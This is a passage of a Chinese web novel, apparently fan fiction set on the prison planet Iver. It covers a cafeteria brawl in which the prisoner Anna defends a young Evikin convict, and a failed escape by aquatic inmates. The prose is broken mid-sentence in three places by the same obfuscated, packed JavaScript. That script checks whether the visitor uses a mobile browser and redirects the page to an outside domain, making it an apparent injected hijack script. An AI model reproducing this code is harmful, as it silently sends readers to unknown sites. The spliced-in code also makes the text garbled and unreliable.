斯黛拉疯狂怀念家乡的一切,就连从小到大都极其讨厌吃的臭球菜这会儿想起来也能称赞一句“可爱至极”,可惜她没有假期,不能回去探望。签入职合同时HR说得很明白,除非将来能调职离开伊维尔,否则就算家里出了白事也不能请假。或许她可以把合同撕个粉碎塞进眼睛长在头顶上的男人嘴里,但最终她并没有那样做,签下自己的名字后她获得了一份全宇宙年轻人都梦寐以求的工作。 午夜梦回时谁没幻想过自己进入星际和平公司走上升职加薪成为人生赢家的道路呢? “欸欸欸!你快看!打起来了!打起来了!”饭搭子的胳膊肘打断了斯黛拉的乡愁,她正两眼放光的盯着碳基陆生监管区食堂,不停大力提醒同伴一起围观。 斯黛拉赶忙跟着探头去看,一串狱医排成一排,趴在玻璃上的样子就像等待投喂的鱼。 一个身形单薄的年轻人被铁塔般的壮汉抡起来砸出去,看样子他是这方面的老手,双手抱头卸下力道沿着食堂拼成排的桌子滑了老远,坐在这一排的犯人都跟着倒了大霉——他们的晚餐,没了。 “这家伙惨了。”饭搭子看得津津有味也不忘夹起一块生鱼片戳向酱油碟。泛着油脂光泽的鱼肉蘸蘸酱油又蹭蹭山葵,她一口吃掉后鼓着嘴巴嘟嘟囔囔,“新人的脾气可真爆,你说对吧!” 斯黛拉点头表示同意。 望着被掀翻的餐盘,安娜心里也是这么想的。 这人脾气可真爆啊! 8. 第 8 章 “让开!这小子归老子了!” 蒲扇一般的大掌排在金属桌面上,留下枚清晰且完整的掌印。 原本坐在桌边的人大多立刻起身躲避,生怕给自己招来麻烦。 动手之人约摸两米左右,竖起眼睛张嘴咆哮时露出两排大白牙,面部表情像尊手法夸张的石像。被他扔出去的是个头发茬短短的瘦弱年轻男子,看着未满二十岁的模样,半大不小仿佛刚刚长出翅膀和尾巴的小公鸡。 二者之间身形差异巨大,青年顺着桌子滑倒在地面上,侧头吐了口混着牙齿的血。 这年头只要不是脑袋被当场揪掉,再重的伤也就进趟治疗仓的事儿。狱卒就站在不远处,连眼皮都懒得掀。 这可是新人到来后新老犯人之间发生的头一场冲突,稍远些的地方有人端着盘子爬到桌子上伸长脖子朝这边看。 安娜坐在原地没动。 上回跟个鹅一样伸脖子的人全都已经“因公殉职”了,以至于现下她对这个姿势有点心理阴影。 住在对门的漂亮小哥躺在她脚边不远的地方一口接一口吐血,活像座人形喷泉。 壮汉推开面前碍事的桌子几步来到对手身边,抬起脚就要用力向下。眼看争执双方有一个即将血溅当场,坐在凳子上跟块木头似的女人忽然叹了口气指指她撒了一地的晚餐,道:“先别着急杀,我的晚饭怎么办?谁赔?” 以目前的情况来看金发小哥明显不是壮汉的对手,被他活活踩死的概率很高,这样一来债务也理应转移到受益人身上。 她充满期待的看向因为自己突然出声而踩了个空的高大男人:“两万伊维尔币,盛惠!” 虽然餐盘里的东西只值五千,但是她被吓了一跳呀,这个值一万五。 “找死吧你!不想挨揍就滚远点儿,惹老子不耐烦连你一块打!”沃尔夫冈没好气的冲安娜呲出尖利犬齿,后者脸上出现了懊恼的神色。 啧,流年不利,遇上不讲理的了。 “我赔!”躺在地上爬不起来的年轻人狼狈道:“但我现在没钱。两万伊维尔币,我把这条命卖给你,你敢不敢要?” 清秀稚嫩的脸颊上沾满血渍,他努力抬起头向人展示资本。 有好事的犯人站在不远处大声嘲笑:“杀死主人的埃维金奴隶,谁敢买你呐,把塔安巴扔水里听响儿都不能扔给埃维金人。” “嗡嗡嗡”的议论声瞬间大作。 伊维尔星上基本不存在“好人”这种生物,可就算大家都不是东西也有条隐形的鄙视链。脑后反骨还噬主的家伙,人人得而诛之。 沃尔夫冈收起拳头笑得阴狠:“你倒是聪明知道把祸水往外引,可惜找谁救命不好居然找个瘦巴巴的女人。怎么,临死还要再拉个垫背的?” 人人都认定那个女人会谄笑退走,单看体型和性别她也不是壮汉的对手,总不能监狱里来了个脑子和眼睛都不好使的圣母吧! 有那么一瞬间安娜确实打算找个台阶离开食堂甩掉麻烦。倒不是忌惮埃维金人的坏名声,她连自己是谁都不知道,“茨冈尼亚”的概念就更别提了。但那个年轻人一瞬不瞬的盯着自己,仿佛泥淖中挣扎求救的漂亮小动物,视若无睹的走开他大概会哭出来,伸手救他一定会惹上不少麻烦。 唉…… “别为难人了,你还不如问问哪位大佬愿意在床上给你留个位置呢!哈哈哈哈哈哈哈!” 这世上从来不缺起哄架秧子的人,卡卡瓦夏的脸色越发苍白——埃维金人为什么流浪?为什么满口谎言?难道天生如此? 呸! 壮汉见安娜迟迟没有动静,心里越发看轻她。他再次抬起脚,打算把人踢到角落里去。这个新来的小子是头黑羊,弄死他就可以向典狱长申请减刑或是减少贷款,他已经观察了一整天,确认埃维金人背后没有任何依仗。 “等等,”安娜试图给自己再争取几分钟犹豫的时间,沃尔夫冈耐心告罄,攒足了力气朝卡卡瓦夏头上踢去。 离得最近的犯人兴奋不已,他瞪大眼睛扩大鼻孔不停吞吐粗气,无比渴望看到红色的血在地面蔓延。可惜这个愿望被一道白光湮灭,下一秒高大结实的男人抱起腿吸气呼痛。 反应慢一些的人这会儿才看到沃尔夫冈小腿上多了只叉子,银光闪闪的餐具破开皮肉深入骨缝,动手的女人抱着小臂状似百无聊赖:“都说了等等。” 她松开胳膊露出手腕,红色山羊头赫然显露。 “……嘶!”沃尔夫冈疼得直抽,这份疼痛让他变得理智,“姐们儿怎么称呼?” 以他的肌肉密度别说这种刻意做钝处理过的叉子,普通人拿把短刀戳过来也奈何不得。只这小露一手的扔餐具功夫也足以说明此女不好惹,与她为敌得当心自己反过来成为猎物。 她是也看上这头黑羊了? “嗯,怎么称呼不重要,我这两万伊维尔币就没人给个说法么?”安娜左思右想还是不太愿意在局势不明朗的情况下胡乱掺和到别人的纠纷里去,语气里多少带着几分息事宁人的意思。 见她有退走的苗头,沃尔夫冈试图讨价还价:“交个朋友姐们儿,一万伊维尔币买这小子的命,我再把你引荐给‘神父’,怎么样?” “神父”又是什么玩意儿?只是坐个牢而已,用不着整这么多花活儿吧! “你不知道?”旁边有人看不下去,帮忙做了个背景介绍,“碳基陆生种监禁区最大的帮派有三个,海魔帮、互助会,还有散团,‘神父’就是互助会的首领。” “我应该知道?”安娜一脸空白的看着突然义愤填膺冒出来的陌生人,“我似乎不是因为无知才被关进伊维尔。” 这倒还真是,哪怕博识学会也不能因为真理大学的学生上课睡觉论文注水就判人有罪。 “额……”观众群里的帅哥帅姐们纷纷无语。 “再说了,你出一万伊维尔币买人性命也不该问我,我又不是杀手。”她重新把视线投向尸体一样躺在地上的卡卡瓦夏:“人跟你还价一万,打个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050705|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半死,你同意不同意?” 双方都不同意。监狱里的治疗舱按分钟收费,费用高得能把死人吓活,卡卡瓦夏穷得荡气回肠根本享受不起这种高档服务。而沃尔夫冈的诉求是减刑或者减免贷款利息,把黑羊打个半死只能四舍五入成什么也没干。 典狱长是个讲究原则的人,在他面前没有“半死”这个收费档。 “没得谈?”安娜试图同时说服他们俩,唯一的效果就是没有效果。 倒在地上的年轻人逐渐绝望,对他虎视眈眈的壮汉越来越不耐烦。 “少他妈胡搅蛮缠,别给脸不要脸!”他不想与她为敌,并不意味着真就怕了她。 就像两头猛兽在雪后的山林里偶遇,比起暴起互殴他们总会选择远远点个头然后礼貌而克制的各自转身离去。不是没有干掉对方的可能,而是这种可能伴随着巨大的风险,没必要采取行动。但是如果一方率先打破那条隐性的界限,另一方也一定会立刻做出反应。 “唉,”安娜摊开掌心无奈摇头,小声咕哝:“谈判破裂,我真的已经尽力了,果然不擅长这个……” 破风的拳声炸响,沃尔夫冈打算速战速决。食堂开放的时间有限,铃声响起犯人必须返回囚室。如果不能赶在铃声响起前干掉黑羊,明天一早消息传开后就会有无数人怀揣同样目的赶来补刀捡漏。 他企图逼迫安娜让路,只要她闪开,那个倒在地上的金毛小子绝对撑不住自己全力一击!伊维尔星给犯人配发的液金项圈能够压制命途之力,除非面前这个女人是星神的令使,否则在身体力量上女性永远不是男性的对手。她要真是令使就更不可能出现在伊维尔了,毕竟那得算另一个维度上的生物。 卡卡瓦夏闭上眼睛,压在身下的手攥紧拳头。 可恶!为什么上天赋予埃维金人聪慧的大脑和秀美的容貌,却偏偏吝啬于一副健壮的躯体? 不想死!不能死!也许还有活着的族人需要他赶回去! 金黄色的叹息声被年轻人抛诸脑后视若无睹,他心里想的只有黄沙漫天一点也不可爱的故乡。 “……” “人好歹值两万伊维尔币呢,”拳头最终并没有落下来。那个总像是在神游一样的女人背对着他,语气里带着散不去的慵懒:“是不是得给予一些最基本的尊重?” “那就来过上几招,谁赢了这小子的命就归谁!”沃尔夫冈一个鲤鱼打挺跳起来站稳,这次他绝不会掉以轻心! 一时不察被人正好踢在脚踝上绊倒的耻辱让壮汉红了眼,理智逐渐离他远去。这家伙频频挥拳想让对手也尝尝失败的滋味儿,安娜轻松左右闪躲,甚至还有余裕出言调侃:“怎么能这么说呢?多不礼貌呐!小朋友是人又不是个物件儿,有什么可抢的。” “揍你只是因为我这会儿刚好手痒想揍你罢了。”她停下闪避的脚步,“先说好,谁输谁负责赔偿食堂的损失哦!” 男人的惨嚎瞬间响彻食堂,恰在此时代表收监的刺耳铃声终于响起。 9. 第 9 章 “好……好帅啊!” 生鱼片在酱油里泡了太久,斯黛拉却像是暂时失去味觉似的一点也不觉得它咸过头。 碍于角度问题医生们看不清那个女性犯人的相貌,但她留下的清瘦背影深深刻印在年轻姑娘心头。也许她是个纵横星海一时失察被公司捕获的侠盗?或者传说中来无影去无踪的豪杰? 没错,伊维尔星上关押的全是重刑犯,但她帅啊! 设身处地想象,如果换做自己被一个横宽竖阔的男人堵着欺负,从天而降施以援手的好心人绝对会成为她这辈子心目中唯一的超级英雄! 那个人身形潇洒举止利落,脊背直得仿佛天塌下来也压不弯,就连拗断对手胳膊的样子也气质出众。相比之下其他穿着同样灰色圆领套头囚服的犯人全都被衬得跟仙鹤脚下的跛脚鹌鹑似的,连给人充当背景板都要被啐一句“吃藕”。 脸颊有些烫,斯黛拉连忙低头摸摸脸又欲盖弥彰的抬头左右看看——千万别被人瞧见自己不经意间露出来的花痴相! 然后她发现自己属实是想多了,同事们的表情只有更夸张的,全场数她最含蓄! 只可惜收监铃响起,大家只能眼睁睁望着犯人们如潮水消退般离开食堂。 “你们看清楚那个犯人的动作了吗?”男同事举起两只手比比划划,“就那么轻轻一扭!星神在上!我到现在头皮都是麻的!” “看不清,她速度太快。但我可以肯定肌腱完全断裂,一般修复起不到治疗意义。”就算工作地点有那么一点小特殊,医生的本能并没有发生改变,大家头一个注意到的还是这种伤势好不好治。 能治,但不能简单往治疗仪里一扔就万事大吉。伤员的整条臂膀被反着折下去再也无法施力抬起,一般修复只能修好肌体但无法恢复功能。最简单有效的办法是重塑该部位……但那是结缔组织,不仅要考虑被撕裂的肌肉如何与新肌腱融为一体,而且这东西还不像其他器官那么好培育,更不能从别人身上挖出来直接移植。 “倒是那个被打飞出去的年轻人,运气真好,治疗仪随便照照就好了,聪明点一万伊维尔币解决所有烦恼。” 狱医们吃掉盘子里的晚餐,带着满肚子八卦回去为一整天的工作收尾。办公室里还有个看守仪器设备的小可怜呢,不能忘记带晚饭投喂。 同样的消息通过各种方式迅速传遍监狱星各个角落,如同插上翅膀一样一夜之间所有人都知道碳基陆生监禁区里来了个不好惹但估摸着能好骗的大刺头兼冤大头。 说回现在,事件中心正站在走廊里友好的和狱卒搭话。 铃声一响安娜就松手放过沃尔夫冈。以伊维尔的尿性,掀翻桌子打烂餐盘必定要犯人自掏腰包买单。那她当然不能把他打死,否则两笔债务合并在一处,这日子真就没法过了。说好打输的人买单,谁也别想从她手里夺走胜利! 本着送佛送到西的原则,她走到卡卡瓦夏身边揪着领子把他拎起来,就跟拎条咸鱼似的朝走廊口移动。 “我该,咳咳,怎么,咳咳,怎么称呼你呢?”年轻人漂亮的眼睛亮闪闪的,然而女人的注意力全在走路上,“安娜,拘束环上是这么写的。” 也没有姓氏,还是姓氏不能说? 他垂下眼睛,睫毛楚楚可怜的微微颤动:“谢谢你。” 那种情况下愿意伸手,把命卖给她他心甘情愿。 “不谢,还钱就行。”安娜耿直得堪比伊维尔冰冷的海水,“看在邻居的份儿上我就不收你精神损失费了,其他等你手头宽裕了再说。” “也许对你是件小事,但我不能不感恩……”卡卡瓦夏委委屈屈的小声念叨,“他们都歧视我,说我天生狡诈……” 手里拎着的小朋友喵喵乱叫不给人清净,安娜翻了个白眼:“你一定要在这种人挤人的环境里讨论这个问题吗?” 说着她停在一个端着枪的狱卒面前,就因为他手里有武器,这地方空旷得令人落泪。 “劳驾,这种情况该怎么解决?”她把青年拎到对方面前晃晃,卡卡瓦夏适时吐了口血在衣襟上。他的肋骨断了几根,消化道也有破损情况。 “省着点,再吐就没了。” 犯人消费,狱卒拿奖金,后者高高兴兴给他们指了条明路:“报上编号和囚室号码,会有人把便携式治疗仪送过去。” “费用呢?”年轻人囊中羞涩是常态,难得他能如此平静的接受现实。狱卒咧开嘴:“使用一次一般修复只需要五千伊维尔币,但现在是晚上医生们要下班了,过夜费一万。” 卡卡瓦夏:“……”顿时觉得自己那个无期徒刑吃得实在冤枉。 论起诈骗和抢劫,星际和平公司才是真正的个中高手! “兄弟,打个商量呗?”安娜收回手里拎着的邻居,冲狱卒抬抬下巴笑道:“一万的过夜费实在没必要,不如麻烦您帮个小忙?你得五千辛苦钱,这小子省五千买命钱。” 所有狱卒手腕上都有一部可操作的兑换器,这是她经过一天观察得出的结论。不管是海边的督战队还是走廊上维持秩序的狱卒,设备样式千变万化但基本功能大差不差。 也就是说……伊维尔的狱卒时时刻刻准备好接受贿赂。 行贿当然是件坏事,它打破了公平的原则。但这里是监狱,典狱长的规则才是规则……规则就是用来打破的且只要没被抓到就不算。 所以狱卒愉快的和犯人达成了合作意向,收取五千伊维尔币作为代价替他跑腿归还便携式治疗仪。 全程没能找到第二次机会表达意见的卡卡瓦夏:“……” 欸? 他老老实实交出身份牌,眼巴巴看着血红的债务多蹦出五千。安娜说了几句好话狱卒立刻同意剩下五千等还设备时再给,想想该办的都办了她拎起疑似魂魄出窍的年轻人把他放在他自己的囚室前。 “晚安小朋友,做个好梦。”铃响门开,她打着哈欠自顾自迈过门框。 “也没比我大上多少……”目测自己比芳邻矮了半头,卡卡瓦夏气闷不已。要不是胸口和肚子还在作痛他非得原地蹦跶几下——听说向上跳能长高。 囚室门关闭了不大一会儿果然有穿着白色医师外套的姑娘提来一部便携式治疗仪。她在狱卒帮助下为设备接上能源,面无表情对伤员道:“把受伤的部位暴露在治疗区照射,治疗结束后妥善保管仪器,弄坏照价赔偿。” 这种小型家用电器外面的卖场里明码标价十万信用点,放在伊维尔少说翻五倍。 卡卡瓦夏等人都走了才放心使用治疗仪收拾自己身上的伤势。考虑到“反正钱已经花了不好好享受实在亏得慌”,他脱下上衣就跟烤肉串一样站在治疗区前反复自动翻面。 他身上就没有没受过伤的地方,照!玩儿了命的照!一万伊维尔币呢! 后半夜安娜听到走廊上响起一串脚步声,紧接着对面囚室的门被打开了一扇,兑换机的尖叫结束后囚室门重新上锁,脚步声渐行渐远。她迷迷糊糊翻了个身,抱着被子的手下意识抹过嘴角,咂咂嘴再次拥抱睡眠。 与此同时位于死火山腹底的碳基水生监管区内,消防通道的灯泡突然接连炸了好几个,数道身影躲在明暗交界的地方鬼鬼祟祟。 “直通海边出口的升降梯在碳基陆生种监禁区那边,咱们首先得绕过遍布摄像头的矿坑……” 莱塞提德吐出舌头润湿眼周鳞甲,警惕的转动眼球寻找机会。陆生种监禁区和水生以及两栖种监禁区环境差别极大,可是对于他们这些能够自由自在水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050706|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下呼吸的人来说靠近大海的出口才最有成功逃脱的可能,求生欲迫使他们不得不冒险。 首先要从死火山腹底逃到山壁旁,然后冒充陆生种混进海里,再然后?找到零星分布的岛屿躲起来,等待星际和平公司运货的无人星舰降落就能躲进货仓跟着逃出生天了!虽说脖子上的液金约束环是个问题,但是他们凑大钱找了个朋克洛德出身的顶级骇客顺利解决。对方骇入伊维尔让控制约束环的主系统误认为这几个犯人已经死亡,所以眼下就算他们没有老老实实蹲在囚室里也仍旧能够继续活蹦乱跳。 “空气越来越湿润,方向没有出错。”半人半鱼的梅里安趴在同伙背上时刻盯着后方,风吹过他的鳃,各种味道交汇杂糅带来诸多深藏在钢筋和混凝土下的秘密。 背着他的男人沉默不语,倒是躲在旁边的鱼妹提醒了一句:“把你的尾巴捞紧点,别留下水渍。” 众人顺着她的视线看去,薄如蝉翼的鱼鳍果然在地面上印出个湿漉漉的半圆形。 梅里安迅速趁着同伴调整姿态时把尾巴抱得更紧了些,四个人按照骇客给出的路线小心翼翼绕过各种摄像头。 这个时间点上只有值夜班的狱卒留在监禁区内,简简单单三两个沿着固定路线来回巡逻,老实讲仅能起到装饰作用。水生种这边的狱卒常年人手不足,夜间安防基本靠系统调度。 “走过前面那道门就是陆生监管区,骇客让咱们在这儿停留十秒钟。” 这种时候除了信任骇客也没有别的办法,莱塞提德神经质般一而再再而三舔舐眼周,两栖类特有的瞬膜频繁开闭。 十秒时间很短,也可以很长。倒数结束后鱼妹上前摸索了两下,隔离门悄然开启。 “快点走,这边夜间巡逻很频繁。”梅里安拽得自己尾巴疼。他焦急的不停催促着,背后没有追兵并不意味着没有压力。 越狱小队顺利从死火山核心区逃到更靠外的陆生种监管区,找到一处存放废弃设备的备用间里暂时落脚休息。时间不早了,他们得先想个法子把梅里安打扮好,然后混入陆生种里上去海面。 “医疗站有轮椅吧?再弄条毯子盖住他的尾巴就差不多了,伊维尔这种地方不会有人把好奇心表现在脸上。” 鱼妹看看莱塞提德,希望他能支持自己的建议。 莱塞提德同意了,他回忆了一下过去打听到的各种消息,结合骇客给的地形图辨明方向。 “从这儿绕到右侧,上去半层就是医疗站。你们先在这边躲着,我和康巴上去拿轮椅,你找找看这里有没有能充当毯子的东西。”康巴就是背着梅里安的沉默汉子,他们两个身强力壮的男人行动起来速度更快。 鱼妹点点头:“行,我会照顾好梅里安。” 别看在陆地上带着条人鱼走动时很糟心,等会儿下到海里后大家全都要仰仗他才能识别方向找到目的地。 康巴把人鱼放在一堆垫子上,安静的跟在蜥蜴人莱塞提德身后离开。备用间距离医疗站并不远,两个成年男子一来一回半小时足够。只要把梅里安的尾巴藏好,其他人打扮成碳基陆生种并不困难。 鱼妹的手指很长,也很灵巧,备用间里只剩下两个人后她找到许多能用得上的纺织品。 “不能太显眼,咱们的目的是逃出去……”她三两下就仅靠折叠将乱糟糟的纺织品叠成小毯子小褥子的模样,人鱼青年弯起嘴角微笑:“真可爱,你的手好巧。” “……”鱼妹低下头,手指在布团里搅来搅去,“嗯。” “等将来恢复了自由,你打算做些什么?”就这么干站着也挺无聊的,梅里安努力想让气氛变得轻松活跃。 鱼妹听见了,她并没有把头抬起来,保持着先前的姿势小小声回答:“我想回家。” 10. 第 10 章 鱼妹就叫“鱼”“妹”,字面意思直白理解即可。她从水中来,不过不是海水是淡水。 以陆生种的审美看她不丑,就是有点“怪”。水生种为了适应水中生活在身体比例上和陆生种存在一定差异,虽说大家都是碳基生物也都能统一在“人”的大范围下,互相觉得对方生得可怕也是常理之中。 “我家住在湖里,好大的一个湖。整颗星球完全由大小不一的湖泊组成,我们世世代代生活其中。”回忆起故乡,姑娘眼底闪过一丝惆怅,“湖水就像蓝宝石一样透亮,金色的日头,翠色的水草,还有各种颜色像是彩虹一样游来游去的小鱼……” 她一概往日的沉默:“不骗你,我家的水草又厚又软又滑,躺在上面就像躺在云朵里!” 梅里安是生活在海水里的人鱼,不过这不耽误他对淡水邻居家的水草分外向往。 “真好啊!我家的海草太硬了,一不小心还会缠在尾巴上。”青年抱着尾巴坐在一堆灰扑扑的烂垫子中间,除了羡慕鱼妹的水草更羡慕她的腿,“你是怎么来到伊维尔的?啊,要是不方便可以不告诉我,就……纯粹的好奇。” 鱼妹不觉得过去难以启齿,但她希望得到公平的对待:“先说说你,你怎么会被星际和平公司抓到?不是说成年人鱼能把船撕烂么?” 人鱼是海中娇子,传闻他们和不朽的后裔还存在些千丝万缕的关系,怎么想都很难想象如此凶悍的种族会有束手就擒的时候。 “我们就算再凶猛,面对不在同一维度上的武器也不得不低下头吧!”梅里安哭笑不得,这条淡水鱼是不是把他想得太夸张了? 面对遮天蔽日的炮口,留给他们发声的渠道总是特别极端。 “我知道我做过的事很残忍……有同理心的任何生物都会认为无期徒刑对我来说实在是太过仁慈,但是……” “从来没有人对我们仁慈过。” 漂亮的海水鱼脸上出现了难过的表情:“如果重来一次,我还是会选择屠杀那些无辜的孩子,很抱歉,但是我们的孩子被屠杀时没有人在意此事。” 他没有详细描述自己都犯下了什么罪行,那并不是难以查阅的话题,只消离开伊维尔,外面的世界早就骂声震天。 “哦!”鱼妹努力让自己看上去很忙,这是她缓解尴尬的有效手段。 “我家所在的星球被打包在恒星系里卖给星际和平公司抵债,据说是什么星系什么皇室做出的决定,从头到尾没人问过我们的意见,我们也不知道那是谁家的皇室。黑西装来过后告诉我们淡水资源要就地封存,说什么‘保护’,我不懂,我只知道祖祖辈辈生活的湖突然就不是我们的了。” “他们要我们走,爱去哪儿去哪儿。” 为了捍卫家园她们拿起武器驱赶外来者,得到的却是无情镇压,幸存者还有张通向伊维尔的单程票。 “对不起,我不知道原来类似的悲剧并不只发生在我们身上。莱塞提德和康巴他们也是……”梅里安不由唏嘘,“星际和平公司让很多人过上了好日子,可惜咱们不在其中。” 两道视线在半空中碰触,各有各的无奈。 “唉……” “不说那些了,来试试看这条毯子能不能把你的尾巴盖住。” 鱼妹把手里的纺织物放在梅里安尾巴上,皱褶惟妙惟肖的模拟出腿部线条,只要不掀开谁也无法发现下面其实是条鱼尾。 “谢谢你……” 今晚注定是个不眠之夜。 临近起床铃拉响时警报先被触发,一长一短的刺耳动静仿佛长指甲用力在磨砂平面上不停抓挠。 广播启动,典狱长的声音传出来。 “所有人待在囚室里不得轻举妄动,违者视作企图越狱立即执行死刑。” 安娜睁开眼睛,下一刻没有任何过度的出现在囚室门后。对面的小朋友慢了几秒,一凑到门边就紧张的左右张望。他似乎想要交流些什么,奈何隔着玻璃和走廊根本无从推测,毕竟联觉信标只能让智慧生物的语言互通,口型就……就有点为难人了。 机械狱卒在全景监控的帮助下列队出击,它们瞧上去就像服装店橱窗里展示商品用的人台,然而你绝不能小看那纤细的金属躯体。 另一条走廊上很快传来数声枪响,怒吼声、人体重重砸在地面上的响动,混杂成荒诞又真实的噪音。 安娜看到对面所有囚室的玻璃后面都贴着张脸,活像鱼缸里一条接一条排得整整齐齐的鱼,她差点笑出声,可是一想到自己也跟清道夫似的趴在玻璃门上就乐不起来了。警报声如同涨潮越来越近,一个长得跟蜥蜴似的犯人背着他的同伙,两人一起逃入八层四号走廊。 那是人? 奋力奔跑的男子四肢和脸颊上丛生着古铜色硬鳞甲,至于他背着的那个人……腰部以下长着条鱼尾巴。 各处监控探头自动对准他们旋转,机械狱卒紧追其后。 蜥蜴人跑过的地方留下一串血色脚印,他差不多也已经到了强弩之末,与其坐以待毙不如拼死一搏。 “扔下我自首,莱塞提德,这样一来总能有个人能活下去。”梅里安被掌心那枚不规则的宝石硌得生疼。 他确信自己从来没有如同此刻这般冷静过,人鱼尸体的价值不逊于他们活着的时候,仅凭这个莱塞提德有戴罪立功的理由。 哪怕只有一个人活着,总有一天能把鱼妹的心脏送回她心心念念的故乡。 莱塞提德喘了口气粗气,咬着牙缝嘶哑道:“闭嘴! 他是个两栖种,无法在海水里长时间生存,相比之下还是梅里安逃出去的概率更大。 走廊两侧全是囚室,陆生种囚犯就像蜂巢中柔弱的幼虫那样被困在其中。前方出现蜘蛛似的机械狱卒,后方的警报紧贴脚跟。 蜥蜴人选中了一个倒霉蛋,他将人鱼扔下,转身抓住冲得最近的人台狱卒狠狠将它砸在囚室门上——陆生种囚室的窗户!紧贴大海! 无缘无故近距离欣赏零件烟花大赏的安娜:“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050707|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不是,你几个意思? 她退得及时,蜥蜴人砸了两下后大吼一声,徒手将第一扇囚室门上的金属结构拉开,栅栏变成月亮门。他身后的人鱼虽然不能站立却也亮出爪子撕碎源源不绝涌出来的机械狱卒。 为了满足典狱长的命令同时不耽误别人越狱,安娜不得不站到床头上贴紧墙壁。 加油啊哥们儿!给他们整个大的! 囚室里的小窗户坚固程度远超想象,蜥蜴人使劲全身力气撞了四五下也没撞开,情急之中他转身把浑身是血的人鱼从废铁堆里拖出来,又将他扔到囚室主人脚边,自己则浑身亮起危险的赤红色。 “莱塞提德!”梅里安声嘶力竭的喊出蜥蜴人的名字。囚室门很窄,挤在一堆的狱卒互相推挤谁也无法抢先。它们是仅有主脑调度的机械,乱成这样能够看出朋克洛德的骇客实力不俗。 蜥蜴人墨绿色的鳞甲就像着了火似的逐渐被赤红掩盖,他没有张嘴说什么慷慨激昂的临别寄语,只淡淡留了句“再见”给行动不便的梅里安。 “!” 爆炸声惊天动地,半个囚室被生命最后的挽歌炸开,黑色的海水如同激流无法阻挡的冲进囚室,几乎眨眼间就淹没了整条走廊。 有犯人借机企图逃出囚室,刚刚撬开门液金项圈立刻做出反应。注入人体的药物迅速发作,凡是没有按照要求乖乖待在囚室里的人全都很快变成一具新鲜尸体。 求饶声和哭喊声,还有发现自己被海水包围后逃生无门的哀嚎混在一处,嗡嗡的吵得人大脑发麻。 混乱中梅里安逆流而上冲出死火山,却在下一秒定在原地苦笑。 早该想到的,有匹诺康尼这个失败案例在前,星际和平公司不可能不做后手。 巨型无人潜艇伪装成海兽的模样日夜巡逻,早在警报拉起时它们就像无形的幽灵朝系统预测地点集结,终于等到一条蠢鱼自投罗网。 刺眼的激光束下梅里安不希望自己成为躺在手术台上大小统一的肉块,他回头看了眼囚室的主人,低低道句“对不起”。 很抱歉,连累到你们了。但我已经无法继续前行,只能在此地画上终结。还有就是……鱼妹,没能把你的心脏送回故土,有些愧疚。 随水飘向天花板,躲在气泡里借以苟命的安娜:“……” 盛放于深海之中的烟花是什么模样? 是生命结束时的璀璨。 八层四号走廊接连遭遇水生种爆破,海水瞬间灌满整个空间。囚室门撑不住水压纷纷破裂,室内的犯人左右为难。 跑出去项圈会激活,不跑就等着被淹死。 作为头一个倒霉蛋,安娜待在囚室上方的气泡里躲过第一波危机。她低头看看只剩下半堵墙的屋子,无奈松开手顺水进入走廊。 活着挺好,死了也行,总之试试,试试又不亏。 囚室都被炸成这德行了,探测器还能正常工作么?衷心希望典狱长不要把这笔债务算到无辜犯人头上,不然她真的要闹。 11. 第 11 章 水生种越狱小队功败垂成对于狱卒们而言是个好消息,大家总算不必担心被扣光年金了,但是其他犯人的危机并未结束。 随着水流进入走廊,安娜注意到住在对面囚室里的小朋友正躲在只剩下一半的门后疯狂朝自己比比划划。 大概是在求救吧,看不懂。 水面越升越高,空气逐渐减少,通向监狱内部的升降梯第一时间封锁,整条走廊没有人能逃出去。 离开只剩下半堵墙的囚室,液金项圈内侧的毒针果然没有被触发,安娜游到卡卡瓦夏的囚室。年轻人见她靠近急忙伸手去拉,笑死,根本碰不到,反而被大姐姐揪住领口带到水面上。 “八层四号走廊所有人,原地待命。” 听广播里再一次出现典狱长的声音。 嗯……这个命令,怎么说呢?颇有些不讲道理的荒诞。 随着海水不断涌入监管区内温度骤降,不幸在爆炸中遇难、溺水,以及死于窒息的犯人是没办法听命行事的。至于活人……原地待命约等于坐以待毙。 好在应急系统响应及时,排水口很快就打开了,许多微型工程机器人从破损的墙体断茬中挣扎着爬出来,如同巢穴被毁的工蚁忙忙碌碌抢险救援。 水位飞速下降,新鲜空气替代了冰冷的海水,温度也逐渐回升。 卡卡瓦夏一直试图把手里的东西塞给安娜。这玩意儿是方才人鱼梅里安自爆时炸飞过来自己落进他手中的,正是因为它的存在土生土长的沙漠人才从咆哮的海水中幸存。 